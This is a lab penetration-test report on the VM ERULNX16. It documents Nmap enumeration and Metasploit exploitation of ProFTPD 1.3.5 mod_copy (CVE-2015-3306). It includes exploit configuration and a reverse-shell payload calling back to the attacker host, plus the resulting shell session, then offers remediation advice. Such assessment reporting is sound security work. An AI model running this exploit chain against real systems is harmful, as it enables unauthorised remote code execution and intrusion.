

Vulnerability Assessment Report: ERULNX16

Report Date: October 11, 2025

Prepared By: Sidhardh D

Target Information

- **System:** ERULNX16
- **Target IP:** 192.168.1.91
- **Attacker IP:** 192.168.1.87

1. Executive Summary

This report details the findings of a vulnerability assessment conducted on the virtual machine **ERULNX16**. The assessment identified a critical vulnerability in the **ProFTPD** service running on the target system. Through systematic enumeration and exploitation, a remote code execution vulnerability (**CVE-2015-3306**) was leveraged to gain a command shell on the server as the **www-data** user. This level of access could allow a malicious attacker to compromise sensitive data, disrupt web services, or use the machine as a pivot point for further attacks within the network. Immediate remediation by updating the vulnerable software is strongly recommended.

2. Scope and Methodology

The engagement focused on identifying and exploiting vulnerabilities on the ERULNX16 virtual machine from a black-box perspective. The assessment followed a standard penetration testing methodology:

- **Reconnaissance:** Discovering the live host on the network.
- **Enumeration:** Scanning the target to identify open ports, running services, and software versions.
- **Exploitation:** Leveraging a known vulnerability in an identified service to gain unauthorized system access.
- **Post-Exploitation:** Verifying the level of access obtained and performing basic enumeration on the compromised system.

Tools Used:

- Nmap
- Metasploit Framework

3. Attack Narrative

This section provides a step-by-step narrative of the attack path, from initial discovery to

successful system compromise

Phase 1: Enumeration

The initial phase involved scanning the network to identify the target and enumerate its running services.

1. **Host Discovery:** An Nmap stealth scan (**-sS -O**) was conducted on the **192.168.1.0/24** subnet to locate active hosts. The target machine, ERULNX16, was identified at **192.168.1.91**.

```
(kali@kali) ~$ sudo nmap 192.168.1.0/24 -sS -O
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 06:49 EDT
Stats: 0:00:15 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Stats: 0:00:24 elapsed; 254 hosts completed (1 up), 255 undergoing Host Discovery
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Stats: 0:00:40 elapsed; 254 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 67.70% done; ETC: 08:49 (0:00:02 remaining)
Nmap scan report for 192.168.1.91
Host is up (0.00001s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
445/tcp    open  microsoft-ds
631/tcp    open  ipp
3800/tcp   closed ppp
3306/tcp   open  mysql
8080/tcp   open  http-proxy
8181/tcp   closed intermapper
MAC Address: 08:00:27:2D:18:48 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 3.2 - 4.14 (98%), Linux 3.8 - 3.16 (97%), Linux 3.13 (94%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (94%), Linux 4.10 (94%), Linux 3.2 - 3.1
6 (94%), Linux 4.2 (94%), Linux 3.10 - 4.11 (93%), Linux 3.13 - 4.4 (93%), Linux 3.13 - 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

Nmap scan report for 192.168.1.87
Host is up (0.000033s latency).
All 1000 scanned ports on 192.168.1.87 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
Too many fingerprints match this host to give specific OS details
Network Distance: 0 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (2 hosts up) scanned in 46.52 seconds
```

2. **Service and Version Scanning:** A detailed service scan (**-sV -sC -O**) was performed on the target to identify open ports, service versions, and operating system information. The scan confirmed that **port 21** was running **ProFTPD 1.3.5** and **port 80** was running an **Apache httpd 2.4.7** web server.

```
(kali@kali) ~$ nmap 192.168.1.91 -sV -sC -O
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 06:52 EDT
Nmap scan report for 192.168.1.91
Host is up (0.00006s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      ProFTPD 1.3.5
22/tcp    open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 1024 2b:2e:1f:a4:54:26:07:76:12:26:59:58:0d:da:3b:04 (DSA)
|_ 2048 c9:ac:70:ef:f8:de:8b:a3:a3:44:ab:3d:32:0a:5c:6a (RSA)
|_ 256 c8:49:cc:18:7b:27:a4:07:0d:2a:0d:bb:42:4c:36:17 (ECDSA)
|_ 256 a8:76:f3:76:f8:f0:70:4d:09:ca:e1:18:fd:a9:cc:0a (ED25519)
80/tcp    open  http     Apache httpd 2.4.7
|_ http-1s: Volume /
|_ SIZE TIME FILENAME
|_ - 2008-10-29 19:37 chat/
|_ - 2011-07-27 20:17 drupal/
|_ 2.2K 2025-09-03 07:10 passwd.txt
|_ 1.7K 2020-10-29 19:37 payroll_app.php
|_ - 2013-04-08 12:06 phpmyadmin/
|_ 1.7K 2025-09-03 07:10 shell.php
|_ http-server-header: Apache/2.4.7 (Ubuntu)
|_ http-title: Index of /
445/tcp   open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
631/tcp   open  ipp      CUPS 1.7
|_ http-methods:
|_ - Potentially risky methods: PUT
|_ http-title: Home - CUPS 1.7.2
|_ http-robots.txt: 1 disallowed entry
|_ /
|_ http-server-header: CUPS/1.7 IPP/2.1
3800/tcp  closed ppp
3306/tcp  open  mysql    MySQL (unauthorized)
8080/tcp  open  http     Jetty 8.1.7.v20120910
|_ http-title: Error 404 - Not Found
|_ http-server-header: Jetty(8.1.7.v20120910)
8181/tcp  closed intermapper
MAC Address: 08:00:27:2D:18:48 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 3.2 - 4.14 (98%), Linux 3.8 - 3.16 (98%), Linux 3.10 - 4.11 (94%), Linux 3.13 - 4.4 (94%), Linux 3.13 (94%), Linux 3.13 - 3.16 (94%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (94%), Linux 4.10 (94%), Android 5.0 - 6.0.1 (Linux 3.4) (94%), Android 8 - 9 (Linux 3.18 - 4.4) (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
```

3. **Web Server Enumeration:** Navigating to the web server at **http://192.168.1.91** revealed a publicly accessible directory listing. This confirmed the presence of a web root and

indicated that file uploads to this directory might be visible and executable.

Index of /

Name	Last modified	Size	Description
 chat/	2020-10-29 19:37	-	
 drupal/	2011-07-27 20:17	-	
 payroll_app.php	2020-10-29 19:37	1.7K	
 phpmyadmin/	2013-04-08 12:06	-	

Phase 2: Exploitation

With a known vulnerable FTP service and a web server pointing to a writable directory, the Metasploit Framework was used for exploitation.

1. **Searching for the Exploit:** The Metasploit console was launched, and a search for **proftpd 1.3.5** identified the **exploit/unix/ftp/proftpd_modcopy_exec** module, which directly targets **CVE-2015-3306**.

```
msf6 >
msf6 > search ProFTPD 1.3.5

Matching Modules

#  Name                                     Disclosure Date  Rank   Check  Description
-  -
0  exploit/unix/ftp/proftpd_modcopy_exec  2015-04-22      excellent Yes    ProFTPD 1.3.5 Mod_Copy Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_modcopy_exec
```

2. **Configuring the Exploit Module:** The exploit module was selected, and the necessary options were configured to point to the target:
 - **RHOSTS:** Set to the target IP address (192.168.1.91).
 - **SITEPATH:** Set to the web root directory (/var/www/html).
 - **LHOST:** Set to the attacker's IP address (192.168.1.87) for the reverse shell.
 - **Payload:** Set to cmd/unix/reverse_python.

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

Name      Current Setting  Required  Description
--      -
CHOST      no               no        The local client address
CPORT      no               no        The local client port
Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      80               yes       HTTP port (TCP)
RPORT_FTP  21               yes       FTP port
SITEPATH   /var/www         yes       Absolute writable website path
SSL        false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI  /                 yes       Base path to the website
TMPATH     /tmp              yes       Absolute writable path
VHOST      no               no        HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.1.87    yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port
```

```
msf6 exploit(unix/ftpproftpd_modcopy_exec) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/adduser                  -              normal No    Add user with useradd
1  payload/cmd/unix/bind_awk                  -              normal No    Unix Command Shell, Bind TCP (via Awk)
2  payload/cmd/unix/bind_netcat              -              normal No    Unix Command Shell, Bind TCP (via netcat)
3  payload/cmd/unix/bind_perl                -              normal No    Unix Command Shell, Bind TCP (via Perl)
4  payload/cmd/unix/bind_perl_ipv6           -              normal No    Unix Command Shell, Bind TCP (via perl) IPv6
5  payload/cmd/unix/generic                  -              normal No    Unix Command, Generic Command Execution
6  payload/cmd/unix/pingback_bind            -              normal No    Unix Command Shell, Pingback Bind TCP (via netcat)
7  payload/cmd/unix/pingback_reverse         -              normal No    Unix Command Shell, Pingback Reverse TCP (via netcat)
8  payload/cmd/unix/reverse_awk              -              normal No    Unix Command Shell, Reverse TCP (via Awk)
9  payload/cmd/unix/reverse_netcat           -              normal No    Unix Command Shell, Reverse TCP (via netcat)
10 payload/cmd/unix/reverse_perl             -              normal No    Unix Command Shell, Reverse TCP (via Perl)
11 payload/cmd/unix/reverse_perl_ssl        -              normal No    Unix Command Shell, Reverse TCP SSL (via perl)
12 payload/cmd/unix/reverse_python         -              normal No    Unix Command Shell, Reverse TCP (via Python)
13 payload/cmd/unix/reverse_python_ssl     -              normal No    Unix Command Shell, Reverse TCP SSL (via python)

msf6 exploit(unix/ftpproftpd_modcopy_exec) > set payload payload/cmd/unix/reverse_python
payload => cmd/unix/reverse_python
```

3. **Executing the Exploit:** The exploit was launched using the **run** command. The module connected to the **FTP server**, used the **mod_copy** vulnerability to write a PHP payload to **/var/www/html**, and triggered it, successfully opening a command shell session.

```
msf6 exploit(unix/ftpproftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 192.168.1.87:4444
[*] 192.168.1.91:80 - 192.168.1.91:21 - Connected to FTP server
[*] 192.168.1.91:80 - 192.168.1.91:21 - Sending copy commands to FTP server
[*] 192.168.1.91:80 - Executing PHP payload /6KT2tVZ.php
[*] 192.168.1.91:80 - Deleted /var/www/html/6KT2tVZ.php
[*] Command shell session 1 opened (192.168.1.87:4444 -> 192.168.1.91:56163) at 2025-10-11 07:10:20 -0400
```

Phase 3: Post-Exploitation

1. **Verifying Access:** Once the shell was established, the **whoami** command was executed, confirming access as the **www-data** user.
2. **System Enumeration:** Basic commands like **pwd** and **ls** were used to determine the current working directory and list its contents, verifying interactive control over the compromised system.

```
msf6 exploit(unix/ftpproftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 192.168.1.87:4444
[*] 192.168.1.91:80 - 192.168.1.91:21 - Connected to FTP server
[*] 192.168.1.91:80 - 192.168.1.91:21 - Sending copy commands to FTP server
[*] 192.168.1.91:80 - Executing PHP payload /6KT2tVZ.php
[*] 192.168.1.91:80 - Deleted /var/www/html/6KT2tVZ.php
[*] Command shell session 1 opened (192.168.1.87:4444 -> 192.168.1.91:56163) at 2025-10-11 07:10:20 -0400

whoami
www-data
pwd
/var/www/html
cd ..
pwd
/var/www
cd ..
pwd
/
ls
bin
boot
dev
etc
home
initrd.img
lib
lib64
lost+found
media
mnt
node_modules
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

4. Findings

Finding: ProFTPD 1.3.5 mod_copy Remote Code Execution

- Vulnerability ID: CVE-2015-3306
- Severity: Critical

- **Description:** The target system is running **ProFTPD** version **1.3.5** on **port 21**, which is affected by a critical remote code execution vulnerability. The `mod_copy` module, intended for file operations, allows unauthenticated attackers to use `SITE CPFR` and `SITE CPTO` commands to copy files to arbitrary locations on the server. This flaw was abused to write a malicious PHP script to the web root directory, which was then executed via a web request to establish a reverse shell.

5. Remediation and Recommendations

To mitigate this critical vulnerability and improve the security posture of the system, the following actions are recommended:

1. **Upgrade ProFTPD:** The most critical step is to upgrade the ProFTPD service to the latest stable version, or at least to a version where CVE-2015-3306 has been patched.
2. **Disable Unused Modules:** If the `mod_copy` module is not essential for operations, it should be disabled in the ProFTPD configuration file to reduce the available attack surface.
3. **Implement Principle of Least Privilege:** The web server is running as `www-data`, which has write permissions to the web root. File permissions should be reviewed to ensure the web server process only has write access where absolutely necessary.
4. **Network Segmentation:** Implement firewall rules to restrict access to sensitive services like FTP. Access should only be allowed from trusted IP addresses.

6. Conclusion

The ERULNX16 system is critically vulnerable due to an outdated and misconfigured ProFTPD service. This assessment demonstrates that an unauthenticated external attacker can gain a remote shell on the server with relative ease using publicly available tools. Immediate remediation is required to protect the system's data and prevent it from being used in wider network attacks.